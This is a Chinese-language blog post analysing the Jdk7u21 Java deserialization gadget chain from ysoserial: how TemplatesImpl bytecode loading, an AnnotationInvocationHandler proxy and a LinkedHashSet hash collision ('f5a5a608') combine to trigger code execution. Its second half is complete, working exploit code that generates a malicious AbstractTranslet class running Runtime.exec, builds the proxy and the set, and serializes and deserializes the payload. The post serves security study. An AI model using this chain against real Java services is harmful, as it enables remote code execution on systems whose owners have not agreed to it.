『Java安全』反序列化-Jdk7u21 POP链分析_ysoserial Jdk7u21 payload 分析_TemplateImpl触发反序列化漏洞

前言

环境为Jdk<=7u21 +自带Xalan

源代码及原作者文章:

Jdk7u21.java
Java 7u21 Security Advisory

代码审计 | 原理分析

1、TemplatseImpl.newTransformer()触发_bytecodes的类加载

newTransformer()首先获取了TransformerImpl实例,传入参数前又执行了getTransletInstance()获取Translet实例
在这里插入图片描述
获取类实例中调用了defineTransletClasses(),这里要确保TemplatesImpl的_name非空、_class为空才能进入
在这里插入图片描述
defineTransletClasses中要确保TemplateImpl的_bytecodes非空
在这里插入图片描述
然后就开始加载_bytecodes里面的字节码,这里要确保这个类是AbstractTranslet的子类
在这里插入图片描述
跳出defineTransletClasses(),后面就进行实例化_bytecodes的类,因此,这里bytecodes我们只要生成一个AbstractTranslet的子类,然后在构造器或者是静态代码块写入RCE即可
在这里插入图片描述

设置_tfactory的作用

在我们的分析中是不需要设置_tfactory的
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
因为在后续版本7u80修改了判断条件需要设置这一段,在21版本不需要


2、TemplatseImpl.getOutputProperties()触发newTransformer()

TemplatesImpl.getOutputProperties()调用了newTransformer().getOutputProperties()
在这里插入图片描述

下面分析怎么调用TemplateImpl.getOutputProperties()

3、动态代理调用getOutputProperties()

又要用到cc1的AnnotationInvocationHandler了,它有一个equalsImpl()方法
在这里插入图片描述
这里向恶意TemplatesImpl对象循环调用type类里的所有方法,恰好,TemplatesImpl的父类Template刚好有getOutputProperties()方法,因此这里我们实例化AnnotationInvocationHandler的时候要把type设置成Template类

这样就会保证调用getOutputProperties()了
在这里插入图片描述
然后找equalsImpl()在哪被调用,刚好在invoke调用了
在这里插入图片描述
根据逻辑:我们要调用代理的equals方法,传参是恶意TemplatesImpl对象,按照下图的方式就能够触发了
在这里插入图片描述
接着分析怎么把它和反序列化联系起来

4、LinkedHashSet反序列化触发AnnotationInvocationHandler.equals()

LinkedHashSet的父类HashSet重写了readObject(),这里将LinkedHashSet里面的各项传入了map.put
在这里插入图片描述
看一下put,这段代码是判断新插入的元素是否已经存在,这里就调用了equals方法
在这里插入图片描述
那么我们要保证key是proxy、k是恶意TemplatesImpl,看一下k的来源:k是上一个元素
在这里插入图片描述
那么我们要先给LinkedHashSet加入恶意TemplatesImpl、然后再加入代理proxy,就能够完成触发
在这里插入图片描述
if条件还有个hash判断是必须绕过的:
在这里插入图片描述
也就是恶意TemplatesImpl的hash要和proxy的哈希相等

绕过hash

第一次传入恶意TemplatesImpl调用的是自己的hashCode,而第二次传入proxy调用的是AnnotationInvocationHandler重写的hashCode
在这里插入图片描述
这个memberValues是定义Handler传入的map
在这里插入图片描述
看一下计算公式:127× 键哈希 ^ 值哈希 == var1== hash(TemplatesImpl)

int var1 = 0;
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

那么我们要在定义Handler传入的map令键的哈希是0,而值是恶意TemplatesImpl即可构造出
hash(TemplatesImpl) == hash(TemplatesImpl)从而绕过判断

也就是这串字符的来源:f5a5a608
在这里插入图片描述
在这里插入图片描述

复现代码

GenerateEvilByJavaassist.java:使用javaassist生成AbstractTranslet的子类

package jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

public class GenerateEvilByJavaassist {
    static byte[] generate() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("Evil");
        CtClass zuper = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(zuper);

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
        clazz.addConstructor(constructor);

        return clazz.toBytecode();
    }


}

GetTemplatesImpl.java:生成恶意TemplatesImpl类

package jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.lang.reflect.Field;

public class GetTemplatesImpl {
    static TemplatesImpl getTemplatesImpl() throws Exception{
        byte[][] bytes = new byte[][]{GenerateEvilByJavaassist.generate()};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "foo");

        return  templates;
    }

    private static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

GetProxy.java:生成代理

package jdk7u21;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class GetProxy {
    static Map map = new HashMap();
    static Templates getProxy() throws Exception{
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        InvocationHandler handler = (InvocationHandler)constructor.newInstance(Templates.class, map);
        Templates proxy = (Templates) Proxy.newProxyInstance(Object.class.getClassLoader(), TemplatesImpl.class.getInterfaces(), handler);

        return proxy;
    }
    static void put(Object a, Object b){
        map.put(a,b);
    }
}

Manual.java:触发反序列化

package jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.util.LinkedHashSet;

public class Manual {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = GetTemplatesImpl.getTemplatesImpl();

        LinkedHashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(GetProxy.getProxy());

        GetProxy.put("f5a5a608", templates);

        File f = File.createTempFile("temp", "out");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
        oos.writeObject(set);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        Object o = ois.readObject();
        System.out.println(o);
        ois.close();

        f.deleteOnExit();
    }
}

在这里插入图片描述

POP链

在这里插入图片描述

欢迎关注我的CSDN :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123227676
版权声明:本文为原创,转载时须注明出处及本声明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值